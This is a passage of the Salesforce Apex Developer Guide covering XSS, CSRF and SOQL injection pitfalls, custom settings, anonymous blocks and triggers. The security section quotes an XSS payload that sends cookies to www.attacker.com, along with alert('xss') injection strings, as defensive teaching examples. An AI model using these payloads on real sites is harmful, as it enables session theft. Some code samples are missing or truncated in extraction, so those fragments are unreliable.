// by the batch job's execute method.
List<Job__c> jobs = [SELECT Id, Hiring_Manager__c, Recruiter__c,
(SELECT Id, ParentId, UserOrGroupId, AccessLevel, RowCause FROM Shares
WHERE (RowCause = :Schema.Job__Share.rowCause.Recruiter__c OR
RowCause = :Schema.Job__Share.rowCause.Hiring_Manager__c))
FROM Job__c];
230
Apex Developer Guide Working with Data in Apex
}
}
Understanding Security
The powerful combination of Apex and Visualforce pages allows Lightning Platform developers to provide custom functionality and
business logic to Salesforce or to create a new standalone product running inside the Lightning Platform. But as with any programming
language, developers must be cognizant of potential security-related pitfalls.
Salesforce has incorporated several security defenses in the Lightning Platform. But careless developers can still bypass the built-in
defenses and then expose their applications and customers to security risks. Many of the coding mistakes a developer can make on the
Lightning Platform are similar to general web application security vulnerabilities, while others are unique to Apex.
To certify an application for AppExchange, it’s important for developers to learn and understand the security flaws described. For more
information, see the Lightning Platform Security Resources page on Salesforce Developers. https://developer.salesforce.com/page/Security.
Warning: Open redirects through static resources can expose users to the risk of unintended, and possibly malicious, redirects.
Only admins with “Customize Application” permissions can upload static resources within an organization. Admins with this permission
must use caution to ensure that static resources don’t contain malicious content. To learn how to help guard against static resources
that were obtained from third parties, see Referencing Untrusted Third-Party Content with iframes .
231
Apex Developer Guide Working with Data in Apex
This script block inserts the value of the user-supplied userparam onto the page. The attacker can then enter this value for
userparam.
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2
In this case, all cookies for the current page are sent to www.attacker.com as the query string in the request to the cookie.cgi
script. At this point, the attacker has the victim's session cookie and can connect to the web application as if they were the victim.
The attacker can post a malicious script using a website or email. Web application users not only see the attacker's input, but their
browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety of attacks against
the victim. These attacks range from simple actions, such as opening and closing windows, to more malicious attacks, such as stealing
data or session cookies, which allow an attacker full access to the victim's session.
For more information on this type of attack:
• http://www.owasp.org/index.php/Cross_Site_Scripting
• http://www.cgisecurity.com/xss-faq.html
• http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
• http://www.google.com/search?q=cross-site+scripting
Within the Lightning Platform, several anti-XSS defenses are in place. For example, Salesforce has filters that screen out harmful characters
in most output methods. For the developer using standard classes and output methods, the threats of XSS flaws are largely mitigated.
But the creative developer can still find ways to intentionally or accidentally bypass the default controls.
Existing Protection
All standard Visualforce components, which start with <apex>, have anti-XSS filters in place to screen out harmful characters. For
example, this code is normally vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user,
but the <apex:outputText> tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form. For
example, the < character is converted to < so that a literal < appears on the user's screen.
<apex:outputText>
{!$CurrentPage.parameters.userInput}
</apex:outputText>
232
Apex Developer Guide Working with Data in Apex
With the <apex:includeScript> Visualforce component, you can include a custom script on a page. Make sure to validate that
the content is safe and includes no user-supplied data. For example, this snippet is vulnerable because it includes user-supplied input
as the value of the script text. The value provided by the tag is a URL to the JavaScript to include. If an attacker can supply arbitrary data
to this parameter as in the example, they’re able to direct the victim to include any JavaScript file from any other website.
<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />
<apex:outputPanel id="outputIt">
Value of myTextField is <apex:outputText value="{!myTextField}" escape="false"/>
</apex:outputPanel>
</apex:page>
The unescaped {!myTextField} results in a cross-site scripting vulnerability. For example, if the user enters :
<script>alert('xss')
and clicks Update It, the JavaScript is executed. In this case, an alert dialog is displayed, but more malicious uses could be designed.
There are several functions that you can use for escaping potentially insecure strings.
HTMLENCODE
Encodes text and merge field values for use in HTML by replacing characters that are reserved in HTML, such as the greater-than
sign (>), with HTML entity equivalents, such as >.
233
Apex Developer Guide Working with Data in Apex
JSENCODE
Encodes text and merge field values for use in JavaScript by inserting escape characters, such as a backslash (\), before unsafe
JavaScript characters, such as the apostrophe (').
JSINHTMLENCODE
Encodes text and merge field values for use in JavaScript inside HTML tags by replacing characters that are reserved in HTML with
HTML entity equivalents and inserting escape characters before unsafe JavaScript characters. JSINHTMLENCODE(someValue)
is a convenience function that is equivalent to JSENCODE(HTMLENCODE((someValue)). That is, JSINHTMLENCODE
first encodes someValue with HTMLENCODE, and then encodes the result with JSENCODE.
URLENCODE
Encodes text and merge field values for use in URLs by replacing characters that are illegal in URLs, such as blank spaces, with the
code that represent those characters as defined in RFC 3986, Uniform Resource Identifier (URI): Generic Syntax. For example, blank
spaces are replaced with %20, and exclamation points are replaced with %21.
To use HTMLENCODE to secure the previous example, change the <apex:outputText> to the following:
<apex:outputText value=" {!HTMLENCODE(myTextField)}" escape="false"/>
If a user enters <script>alert('xss') and clicks Update It, the JavaScript is not be executed. Instead, the string is encoded
and the page displays Value of myTextField is <script>alert('xss').
Depending on the placement of the tag and usage of the data, both the characters needing escaping as well as their escaped counterparts
may vary. For instance, this statement, which copies a Visualforce request parameter into a JavaScript variable:
<script>var ret = "{!$CurrentPage.parameters.retURL}";</script>
requires that any double quote characters in the request parameter be escaped with the URL encoded equivalent of %22 instead of
the HTML escaped ". Otherwise, the request:
https://example.com/demo/redirect.html?retURL=%22foo%22%3Balert('xss')%3B%2F%2F
results in:
<script>var ret = "foo";alert('xss');//";</script>
When the page loads the JavaScript executes, and the alert is displayed.
In this case, to prevent JavaScript from being executed, use the JSENCODE function. For example
<script>var ret = "{!JSENCODE($CurrentPage.parameters.retURL)}";</script>
Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization, it must
still be escaped before use to prevent users from executing code in the context of other users (potentially those with higher privilege
levels). While these types of attacks must be performed by users within the same organization, they undermine the organization's user
roles and reduce the integrity of auditing records. Additionally, many organizations contain data which has been imported from external
sources and might not have been screened for malicious content.
234
Apex Developer Guide Working with Data in Apex
In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your web page
when they visit the attacker's web page, the URL is retrieved and the actions performed. This attack succeeds because the user is still
authenticated to your web page. This attack is a simple example, and the attacker can get more creative by using scripts to generate
the callback request or even use CSRF attacks against your AJAX methods.
For more information and traditional defenses:
• http://www.owasp.org/index.php/Cross-Site_Request_Forgery
• http://www.cgisecurity.com/csrf-faq.html
• http://shiflett.org/articles/cross-site-request-forgeries
Within the Lightning Platform, Salesforce implemented an anti-CSRF token to prevent such an attack. Every page includes a random
string of characters as a hidden form field. Upon the next page load, the application checks the validity of this string of characters and
doesn’t execute the command unless the value matches the expected value. This feature protects you when using all of the standard
controllers and methods.
Here again, the developer can bypass the built-in defenses without realizing the risk. For example, a custom controller takes the object
ID as an input parameter and then uses that input parameter in a SOQL call.
<apex:page controller="myClass" action="{!init}"</apex:page>
The developer unknowingly bypassed the anti-CSRF controls by developing their own action method. The id parameter is read and
used in the code. The anti-CSRF token is never read or validated. An attacking web page can send the user to this page by using a CSRF
attack and providing any value for the id parameter.
There are no built-in defenses for such situations, and developers must be cautious about writing pages that act based on a user-supplied
parameter like the id variable in the previous example. A possible work-around is to insert an intermediate confirmation page to make
sure that the user intended to call the page. Other suggestions include shortening the idle session timeout and educating users to log
out of their active session and not use their browser to visit other sites while authenticated.
Because of the Salesforce built-in defense against CSRF, your users can encounter an error when multiple Salesforce login pages are
open. If the user logs in to Salesforce in one tab and then attempts to log in on another, they see this error: The page you submitted was
invalid for your session. Users can successfully log in by refreshing the login page or by attempting to log in a second time.
SOQL Injection
In other programming languages, the previous flaw is known as SQL injection. Apex doesn’t use SQL, but uses its own database query
language, SOQL. SOQL is simpler and more limited in functionality than SQL. The risks are lower for SOQL injection than for SQL injection,
but the attacks are nearly identical to traditional SQL injection. SQL/SOQL injection takes user-supplied input and uses those values in
a dynamic SOQL query. If the input isn’t validated, it can include SOQL commands that effectively modify the SOQL statement and trick
the application into performing unintended commands.
235
Apex Developer Guide Working with Data in Apex
This simple example illustrates the logic. The code is intended to search for contacts that weren’t deleted. The user provides one input
value called name. The value can be anything provided by the user, and it’s never validated. The SOQL query is built dynamically and
then executed with the Database.query method. If the user provides a legitimate value, the statement executes as expected.
// User supplied value: name = Bob
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')
Now the results show all contacts, not just the non-deleted ones. A SOQL Injection flaw can be used to modify the intended logic of any
vulnerable query.
236
Apex Developer Guide Working with Data in Apex
If you must use dynamic SOQL, use the escapeSingleQuotes method to sanitize user-supplied input. This method adds the
escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation
marks are treated as enclosing strings, instead of database commands.
In this case, all contact records are searched, even if the user currently logged in doesn’t have permission to view these records. The
solution is to use the qualifying keywords with sharing when declaring the class:
public with sharing class customController {
. . .
}
The with sharing keyword directs the platform to use the security sharing permissions of the user currently logged in, rather than
granting full access to all records.
Custom Settings
Custom settings are similar to custom objects. Application developers can create custom sets of data and associate custom data for an
organization, profile, or specific user. All custom settings data is exposed in the application cache, which enables efficient access without
the cost of repeated queries to the database. Formula fields, validation rules, flows, Apex, and SOAP API can then use this data.
Warning: Protection only applies to custom settings that are marked protected and installed to a subscriber organization as part
of a managed package. Otherwise, they are treated as public custom settings and are readable for all profiles, including the guest
user. Do not store secrets, personally identifying information, or any private data in these settings. Use protected custom settings
only in managed packages. Outside of a managed package, use named credentials or encrypted custom fields to store secrets like
OAuth tokens, passwords, and other confidential material.
Note: While custom settings data is included in sandbox copies, it is treated as data for the purposes of Apex test isolation. Apex
tests must use SeeAllData=true to see existing custom settings data in the organization. As a best practice, create the
required custom settings data in your test setup.
There are two types of custom settings.
237
Apex Developer Guide Working with Data in Apex
Canada CAN
You can also include a custom setting in a package. The visibility of the custom setting in the package depends on the Visibility
setting.
Note: Only custom settings definitions are included in packages, not data. To include data, you must populate the custom settings
using Apex code run by the subscribing organization after they’ve installed the package.
Apex can access both custom setting types—list and hierarchy.
Note: If Privacy for a custom setting is Protected and the custom setting is contained in a managed package, the subscribing
organization can’t edit the values or access them using Apex.
238
Apex Developer Guide Running Apex
The following example uses the getValues method to return all the field values associated with the specified data set. This method
can be used with both list and hierarchy custom settings, using different parameters.
CustomSettingName__c mc = CustomSettingName__c.getValues(data_set_name);
CustomSettingName__c mc = CustomSettingName__c.getOrgDefaults();
The following example uses the getInstance method to return the data set values for the specified profile. The getInstance
method can also be used with a user ID.
CustomSettingName__c mc = CustomSettingName__c.getInstance(Profile_ID);
SEE ALSO:
Apex Reference Guide: Custom Settings Methods
Running Apex
You can access many features of the Salesforce user interface programmatically in Apex, and you can integrate with external SOAP and
REST Web services. You can run Apex code using a variety of mechanisms. Apex code runs in atomic transactions.
Invoking Apex
You can run Apex code with triggers, or asynchronously, or as SOAP or REST web services.
Apex Transactions and Governor Limits
Apex Transactions ensure the integrity of data. Apex code runs as part of atomic transactions. Governor execution limits ensure the
efficient use of resources on the Lightning Platform multitenant platform.
Using Salesforce Features with Apex
Many features of the Salesforce user interface are exposed in Apex so that you can access them programmatically in the Lightning
Platform. For example, you can write Apex code to post to a Chatter feed, or use the approval methods to submit and approve
process requests.
Integration and Apex Utilities
Apex allows you to integrate with external SOAP and REST Web services using callouts. You can use utilities for JSON, XML, data
security, and encoding. A general-purpose utility for regular expressions with text strings is also provided.
Invoking Apex
You can run Apex code with triggers, or asynchronously, or as SOAP or REST web services.
1. Anonymous Blocks
An anonymous block is Apex code that doesn’t get stored in the metadata, but that can be compiled and executed.
2. Triggers
Apex can be invoked by using triggers. Apex triggers enable you to perform custom actions before or after changes to Salesforce
records, such as insertions, updates, or deletions.
239
Apex Developer Guide Invoking Apex
3. Asynchronous Apex
Apex offers multiple ways for running your Apex code asynchronously. Choose the asynchronous Apex feature that best suits your
needs.
4. Exposing Apex Methods as SOAP Web Services
You can expose your Apex methods as SOAP web services so that external applications can access your code and your application.
5. Exposing Apex Classes as REST Web Services
You can expose your Apex classes and methods so that external applications can access your code and your application through
the REST architecture.
6. Apex Email Service
You can use email services to process the contents, headers, and attachments of inbound email. For example, you can create an
email service that automatically creates contact records based on contact information in messages.
7. Using the InboundEmail Object
For every email the Apex email service domain receives, Salesforce creates a separate InboundEmail object that contains the contents
and attachments of that email. You can use Apex classes that implement the Messaging.InboundEmailHandler interface
to handle an inbound email message. Using the handleInboundEmail method in that class, you can access an InboundEmail
object to retrieve the contents, headers, and attachments of inbound email messages, as well as perform many functions.
8. Visualforce Classes
In addition to giving developers the ability to add business logic to Salesforce system events such as button clicks and related record
updates, Apex can also be used to provide custom logic for Visualforce pages through custom Visualforce controllers and controller
extensions.
9. JavaScript Remoting
Use JavaScript remoting in Visualforce to call methods in Apex controllers from JavaScript. Create pages with complex, dynamic
behavior that isn’t possible with the standard Visualforce AJAX components.
10. Apex in AJAX
The AJAX toolkit includes built-in support for invoking Apex through anonymous blocks or public webservice methods.
Anonymous Blocks
An anonymous block is Apex code that doesn’t get stored in the metadata, but that can be compiled and executed.
If an anonymous Apex callout references a named credential as the endpoint: Customize Application
240
Apex Developer Guide Invoking Apex
You can use anonymous blocks to quickly evaluate Apex in the Developer Console or using the Salesforce Extensions for Visual Studio
Code and Code Builder.
Important: Every time you run an anonymous block, the code and its references are compiled. For repetitive calls, we strongly
recommend you use compiled classes, such as Apex REST endpoints.
Note the following about the content of an anonymous block (for executeAnonymous(), the code String):
• Can include user-defined methods and exceptions.
• User-defined methods can’t include the keyword static.
• You don’t have to manually commit any database changes.
• If an Apex trigger within an anonymous block completes successfully, the changes are committed to the database only after all
operations in the block finish executing and don’t cause any errors. If your Apex trigger doesn’t complete successfully, any changes
made to the database in the anonymous block are rolled back.
• Unlike classes and triggers, anonymous blocks execute as the current user and can fail to compile if the code violates the user's
object- and field-level permissions.
• Don’t have a scope other than local. For example, although it’s legal to use the global access modifier, it has no meaning. The
scope of the method is limited to the anonymous block.
• When you define a class or interface (a custom type) in an anonymous block, it’s considered virtual by default when the anonymous
block executes. This fact is true even if your custom type wasn’t defined with the virtual modifier. To avoid this from happening,
save your class or interface in Salesforce. (Classes and interfaces defined in an anonymous block aren’t saved in your org.)
Even though a user-defined method can refer to itself or later methods without the need for forward declarations, variables can’t be
referenced before their actual declaration. In the following example, the Integer int must be declared while myProcedure1
doesn’t:
Integer int1 = 0;
void myProcedure1() {
myProcedure2();
}
void myProcedure2() {
int1++;
}
myProcedure1();
Executing Anonymous Apex through the API and the Author Apex Permission
To run any Apex code with the executeAnonymous() API call, including Apex methods saved in the org, users must have the
Author Apex permission. For users who don’t have the Author Apex permission, the API allows restricted execution of anonymous Apex.
241
Apex Developer Guide Invoking Apex
This exception applies only when users execute anonymous Apex through the API, or through a tool that uses the API, but not in the
Developer Console. Such users are allowed to run the following in an anonymous block.
• Code that they write in the anonymous block
• Web service methods (methods declared with the webservice keyword) that are saved in the org
• Any built-in Apex methods that are part of the Apex language
Running any other Apex code isn’t allowed when the user doesn’t have the Author Apex permission. For example, calling methods of
custom Apex classes that are saved in the org isn’t allowed nor is using custom classes as arguments to built-in methods.
When users without the Author Apex permission run DML statements in an anonymous block, triggers can get fired as a result.
SEE ALSO:
Named Credentials as Callout Endpoints
Triggers
Apex can be invoked by using triggers. Apex triggers enable you to perform custom actions before or after changes to Salesforce records,
such as insertions, updates, or deletions.
A trigger is Apex code that executes before or after the following types of operations:
• insert
• update
• delete
• merge
• upsert
• undelete
For example, you can have a trigger run before an object's records are inserted into the database, after records have been deleted, or
even after a record is restored from the Recycle Bin.
You can define triggers for top-level standard objects that support triggers, such as a Contact or an Account, some standard child objects,
such as a CaseComment, and custom objects. To define a trigger, from the object management settings for the object whose triggers
you want to access, go to Triggers.
There are two types of triggers:
• Before triggers are used to update or validate record values before they’re saved to the database.
• After triggers are used to access field values that are set by the system (such as a record's Id or LastModifiedDate field), and
to affect changes in other records, such as logging into an audit table or firing asynchronous events with a queue. The records that
fire the after trigger are read-only.
Triggers can also modify other records of the same type as the records that initially fired the trigger. For example, if a trigger fires after
an update of contact A, the trigger can also modify contacts B, C, and D. Because triggers can cause other records to change, and
because these changes can, in turn, fire more triggers, the Apex runtime engine considers all such operations a single unit of work and
sets limits on the number of operations that can be performed to prevent infinite recursion. See Execution Governors and Limits on page
322.
Additionally, if you update or delete a record in its before trigger, or delete a record in its after trigger, you will receive a runtime error.
This includes both direct and indirect operations. For example, if you update account A, and the before update trigger of account A
inserts contact B, and the after insert trigger of contact B queries for account A and updates it using the DML update statement or
database method, then you are indirectly updating account A in its before trigger, and you will receive a runtime error.
242
Apex Developer Guide Invoking Apex
Implementation Considerations
Before creating triggers, consider the following:
• upsert triggers fire both before and after insert or before and after update triggers as appropriate.
• merge triggers fire both before and after delete for the losing records, and both before and after update triggers for the
winning record. See Triggers and Merge Statements on page 251.
• Triggers that execute after a record has been undeleted only work with specific objects. See Triggers and Recovered Records on
page 251.
• Field history is not recorded until the end of a trigger. If you query field history in a trigger, you don’t see any history for the current
transaction.
• Field history tracking honors the permissions of the current user. If the current user doesn’t have permission to directly edit an object
or field, but the user activates a trigger that changes an object or field with history tracking enabled, no history of the change is
recorded.
• Callouts must be made asynchronously from a trigger so that the trigger process isn’t blocked while waiting for the external service's
response. The asynchronous callout is made in a background process, and the response is received when the external service returns
it. To make an asynchronous callout, use asynchronous Apex such as a future method. See Invoking Callouts Using Apex for more
information.
• In API version 20.0 and earlier, if a Bulk API request causes a trigger to fire, each chunk of 200 records for the trigger to process is split
into chunks of 100 records. In Salesforce API version 21.0 and later, no further splits of API chunks occur. If a Bulk API request causes
a trigger to fire multiple times for chunks of 200 records, governor limits are reset between these trigger invocations for the same
HTTP request.
1. Bulk Triggers
2. Trigger Syntax
3. Trigger Context Variables
4. Context Variable Considerations
5. Common Bulk Trigger Idioms
6. Defining Triggers
Trigger code is stored as metadata under the object with which they are associated.
7. Triggers and Merge Statements
8. Triggers and Recovered Records
9. Triggers and Order of Execution
When you save a record with an insert, update, or upsert statement, Salesforce performs a sequence of events in a certain
order.
10. Operations That Don't Invoke Triggers
Some operations don’t invoke triggers.
11. Entity and Field Considerations in Triggers
When you create triggers, consider the behavior of certain entities, fields, and operations.
12. Triggers for Chatter Objects
You can write triggers for the FeedItem and FeedComment objects.
13. Trigger Considerations for Knowledge Articles
You can write triggers for KnowledgeArticleVersion objects. Learn when you can use triggers, and which actions don’t fire triggers,
like archiving articles.
243
Apex Developer Guide Invoking Apex
Bulk Triggers
All triggers are bulk triggers by default, and can process multiple records at a time. You should always plan on processing more than one
record at a time.
Note: An Event object that is defined as recurring is not processed in bulk for insert, delete, or update triggers.
Bulk triggers can handle both single record updates and bulk operations like:
• Data import
• Lightning Platform Bulk API calls
• Mass actions, such as record owner changes and deletes
• Recursive Apex methods and triggers that invoke bulk DML statements
Trigger Syntax
To define a trigger, use the following syntax:
where trigger_events can be a comma-separated list of one or more of the following events:
For example, the following code defines a trigger for the before insert and before update events on the Account object:
trigger myAccountTrigger on Account (before insert, before update) {
// Your code here
}
The code block of a trigger cannot contain the static keyword. Triggers can only contain keywords applicable to an inner class. In
addition, you do not have to manually commit any database changes made by a trigger. If your Apex trigger completes successfully,
any database changes are automatically committed. If your Apex trigger does not complete successfully, any changes made to the
database are rolled back.
Variable Usage
isExecuting Returns true if the current context for the Apex code is a trigger, not a Visualforce page, a Web service,
or an executeanonymous() API call.
isInsert Returns true if this trigger was fired due to an insert operation, from the Salesforce user interface,
Apex, or the API.
isUpdate Returns true if this trigger was fired due to an update operation, from the Salesforce user interface,
Apex, or the API.
244
Apex Developer Guide Invoking Apex
Variable Usage
isDelete Returns true if this trigger was fired due to a delete operation, from the Salesforce user interface,
Apex, or the API.
isBefore Returns true if this trigger was fired before any record was saved.
isAfter Returns true if this trigger was fired after all records were saved.
isUndelete Returns true if this trigger was fired after a record is recovered from the Recycle Bin. This recovery
can occur after an undelete operation from the Salesforce user interface, Apex, or the API.
size The total number of records in a trigger invocation, both old and new.
Note: The record firing a trigger can include an invalid field value, such as a formula that divides by zero. In this case, the field
value is set to null in these variables:
• new
• newMap
• old
• oldMap
For example, in this simple trigger, Trigger.new is a list of sObjects and can be iterated over in a for loop. It can also be used as
a bind variable in the IN clause of a SOQL query.
Trigger simpleTrigger on Account (after insert) {
for (Account a : Trigger.new) {
// Iterate over each sObject
}
245
Apex Developer Guide Invoking Apex
// This single query finds every contact that is associated with any of the
// triggering accounts. Note that although Trigger.new is a collection of
// records, when used as a bind variable in a SOQL query, Apex automatically
// transforms the list of records into a list of corresponding Ids.
Contact[] cons = [SELECT LastName FROM Contact
WHERE AccountId IN :Trigger.new];
}
This trigger uses Boolean context variables like Trigger.isBefore and Trigger.isDelete to define code that only executes
for specific trigger conditions:
trigger myAccountTrigger on Account(before delete, before insert, before update,
after delete, after insert, after update) {
if (Trigger.isBefore) {
if (Trigger.isDelete) {
// In a before delete trigger, the trigger accesses the records that will be
// deleted with the Trigger.old list.
for (Account a : Trigger.old) {
if (a.name != 'okToDelete') {
a.addError('You can\'t delete this record!');
}
}
} else {
// In before insert or before update triggers, the trigger accesses the new records
// with the Trigger.new list.
for (Account a : Trigger.new) {
if (a.name == 'bad') {
a.name.addError('Bad name');
}
}
if (Trigger.isInsert) {
for (Account a : Trigger.new) {
System.assertEquals('xxx', a.accountNumber);
System.assertEquals('industry', a.industry);
System.assertEquals(100, a.numberofemployees);
System.assertEquals(100.0, a.annualrevenue);
a.accountNumber = 'yyy';
}
246
Apex Developer Guide Invoking Apex
}
}}}
SEE ALSO:
Apex Reference Guide: TriggerOperation Enum
Switch Statements
Trigger Event Can change fields using Can update original object Can delete original object
trigger.new using an update DML using a delete DML
operation operation
before insert Allowed. Not applicable. The original Not applicable. The original
object has not been created; object has not been created;
nothing can reference it, so nothing can reference it, so
nothing can update it. nothing can update it.
after insert Not allowed. A runtime error is Allowed. Allowed, but unnecessary. The
thrown, as trigger.new is object is deleted immediately
already saved. after being inserted.
before update Allowed. Not allowed. A runtime error is Not allowed. A runtime error is
thrown. thrown.
after update Not allowed. A runtime error is Allowed. Even though bad code Allowed. The updates are saved
thrown, as trigger.new is could cause an infinite recursion before the object is deleted, so
already saved. doing this incorrectly, the error if the object is undeleted, the
would be found by the governor updates become visible.
limits.
before delete Not allowed. A runtime error is Allowed. The updates are saved Not allowed. A runtime error is
thrown. trigger.new is not before the object is deleted, so thrown. The deletion is already
available in before delete if the object is undeleted, the in progress.
triggers. updates become visible.
after delete Not allowed. A runtime error is Not applicable. The object has Not applicable. The object has
thrown. trigger.new is not already been deleted. already been deleted.
available in after delete triggers.
247
Apex Developer Guide Invoking Apex
Trigger Event Can change fields using Can update original object Can delete original object
trigger.new using an update DML using a delete DML
operation operation
after undelete Not allowed. A runtime error is Allowed. Allowed, but unnecessary. The
thrown. object is deleted immediately
after being inserted.
// Query the PricebookEntries for their associated product color and place the results
// in a map.
Map<Id, PricebookEntry> entries = new Map<Id, PricebookEntry>(
[select product2.color__c from pricebookentry
where id in :pbeIds]);
// Now use the map to set the appropriate color on every OpportunityLineItem processed
// by the trigger.
for (OpportunityLineItem oli : Trigger.new)
oli.color__c = entries.get(oli.pricebookEntryId).product2.color__c;
}
248
Apex Developer Guide Invoking Apex
The set is then used as part of a query to create a list of quotes associated with the opportunities being processed by the trigger. For
every quote returned by the query, the related opportunity is retrieved from Trigger.oldMap and prevented from being deleted:
trigger oppTrigger on Opportunity (before delete) {
for (Quote__c q : [SELECT opportunity__c FROM quote__c
WHERE opportunity__c IN :Trigger.oldMap.keySet()]) {
Trigger.oldMap.get(q.opportunity__c).addError('Cannot delete
opportunity with a quote');
}
}
Defining Triggers
Trigger code is stored as metadata under the object with which they are associated.
To define a trigger in Salesforce:
1. From the object management settings for the object whose triggers you want to access, go to Triggers.
Tip: For the Attachment, ContentDocument, and Note standard objects, you can’t create a trigger in the Salesforce user
interface. For these objects, create a trigger using development tools, such as the Developer Console or the Salesforce extensions
for Visual Studio Code. Alternatively, you can also use the Metadata API.
where trigger_events can be a comma-separated list of one or more of the following events:
• before insert
249
Apex Developer Guide Invoking Apex
• before update
• before delete
• after insert
• after update
• after delete
• after undelete
Note:
• A trigger invoked by an insert, delete, or update of a recurring event or recurring task results in a runtime error
when the trigger is called in bulk from the Lightning Platform API.
• Suppose that you use an after-insert or after-update trigger to change ownership of leads, contacts, or opportunities. If
you use the API to change record ownership, or if a Lightning Experience user changes a record’s owner, no email notification
is sent. To send email notifications to a record’s new owner, set the triggerUserEmail property in DMLOptions to
true.
6. Click Save.
Note: Triggers are stored with an isValid flag that is set to true as long as dependent metadata has not changed since
the trigger was last compiled. If any changes are made to object names or fields that are used in the trigger, including superficial
changes such as edits to an object or field description, the isValid flag is set to false until the Apex compiler reprocesses
the code. Recompiling occurs when the trigger is next executed, or when a user resaves the trigger in metadata.
If a lookup field references a record that has been deleted, Salesforce clears the value of the lookup field by default. Alternatively,
you can choose to prevent records from being deleted if they’re in a lookup relationship.
Search ( )
Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search textbox
and click Find Next.
• To replace a found search string with another string, enter the new string in the Replace textbox and click replace to replace
just that instance, or Replace All to replace that instance and all other instances of the search string that occur in the page, class,
or trigger.
• To make the search operation case sensitive, select the Match Case option.
• To use a regular expression as your search string, select the Regular Expressions option. The regular expressions follow
JavaScript's regular expression rules. A search using regular expressions can find strings that wrap over more than one line.
If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular expression
group variables ($1, $2, and so on) from the found search string. For example, to replace an <h1> tag with an <h2> tag and
keep all the attributes on the original <h1> intact, search for <h1(\s+)(.*)> and replace it with <h2$1$2>.
Go to line ( )
This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that line.
250
Apex Developer Guide Invoking Apex
251
Apex Developer Guide Invoking Apex
• Contact
• ContentDocument
• Contract
• Event
• Lead
• Opportunity
• Product
• Solution
• Task
Note: For a diagrammatic representation of the order of execution, see Order of Execution Overview on the Salesforce Architects
site. The diagram is specific to the API version indicated on it, and can be out-of-sync with the information here. This Apex Developer
Guide page contains the most up-to-date information on the order of execution for this API version. To access a different API
version, use the version picker for the Apex Developer Guide.
On the server, Salesforce performs events in this sequence.
Note: During a recursive save, Salesforce skips steps 9 (assignment rules) through 17 (roll-up summary field in the grandparent
record).
1. Loads the original record from the database or initializes the record for an upsert statement.
2. Loads the new record field values from the request and overwrites the old values.
Salesforce performs different validation checks depending on the type of request.
• For requests from a standard UI edit page, Salesforce runs these system validation checks on the record:
– Compliance with layout-specific rules
– Required values at the layout level and field-definition level
– Valid field formats
– Maximum field length
Additionally, if the request is from a User object on a standard UI edit page, Salesforce runs custom validation rules.
• For requests from multiline item creation such as quote line items and opportunity line items, Salesforce runs custom validation
rules.
• For requests from other sources such as an Apex application or a SOAP API call, Salesforce validates foreign keys, field formats,
maximum field lengths, and restricted picklists. Before executing a trigger, Salesforce verifies that any custom foreign keys don’t
refer to the object itself.
3. Executes record-triggered flows that are configured to run before the record is saved.
4. Executes all before triggers.
252
Apex Developer Guide Invoking Apex
5. Runs most system validation steps again, such as verifying that all required fields have a non-null value, and runs any custom
validation rules. The only system validation that Salesforce doesn't run a second time (when the request comes from a standard UI
edit page) is the enforcement of layout-specific rules.
6. Executes duplicate rules. If the duplicate rule identifies the record as a duplicate and uses the block action, the record isn’t saved
and no further steps, such as after triggers and workflow rules, are taken.
7. Saves the record to the database, but doesn't commit yet.
8. Executes all after triggers.
9. Executes assignment rules.
10. Executes auto-response rules.
11. Executes workflow rules. If there are workflow field updates:
Note: To control the order of execution of Salesforce Flow automations, use record-triggered flows. See Manage
Record-Triggered Flows
When a process or flow executes a DML operation, the affected record goes through the save procedure.
14. Executes record-triggered flows that are configured to run after the record is saved
15. Executes entitlement rules.
16. If the record contains a roll-up summary field or is part of a cross-object workflow, performs calculations and updates the roll-up
summary field in the parent record. Parent record goes through save procedure.
17. If the parent record is updated, and a grandparent record contains a roll-up summary field or is part of a cross-object workflow,
performs calculations and updates the roll-up summary field in the grandparent record. Grandparent record goes through save
procedure.
18. Executes Criteria Based Sharing evaluation.
19. Commits all DML operations to the database.
20. After the changes are committed to the database, executes post-commit logic. Examples of post-commit logic (in no particular
order) include:
• Sending email
• Enqueued asynchronous Apex jobs, including queueable jobs and future methods
• Asynchronous paths in record-triggered flows
253
Apex Developer Guide Invoking Apex
Additional Considerations
Note these considerations when working with triggers.
• If a workflow rule field update is triggered by a record update, Trigger.old doesn’t hold the newly updated field by the workflow
after the update. Instead, Trigger.old holds the object before the initial record update was made. For example, an existing
record has a number field with an initial value of 1. A user updates this field to 10, and a workflow rule field update fires and increments
it to 11. In the update trigger that fires after the workflow field update, the field value of the object obtained from Trigger.old
is the original value of 1, and not 10. See Trigger.old values before and after update triggers.
• If a DML call is made with partial success allowed, triggers are fired during the first attempt and are fired again during subsequent
attempts. Because these trigger invocations are part of the same transaction, static class variables that are accessed by the trigger
aren't reset. See Bulk DML Exception Handling.
• If more than one trigger is defined on an object for the same event, the order of trigger execution isn't guaranteed. For example, if
you have two before insert triggers for Case and a new Case record is inserted. The firing order of these two triggers isn’t
guaranteed.
• To learn about the order of execution when you insert a non-private contact in your org that associates a contact to multiple accounts,
see AccountContactRelation.
• To learn about the order of execution when you’re using before triggers to set Stage and Forecast Category, see
Opportunity.
• In API version 53.0 and earlier, after-save record-triggered flows run after entitlements are executed.
SEE ALSO:
Salesforce Help: Triggers for Autolaunched Flows
254
Apex Developer Guide Invoking Apex
• Update account triggers don't fire before or after a business account record type is changed to person account (or a person account
record type is changed to business account.)
• Update triggers don’t fire on FeedItem when the LikeCount counter increases.
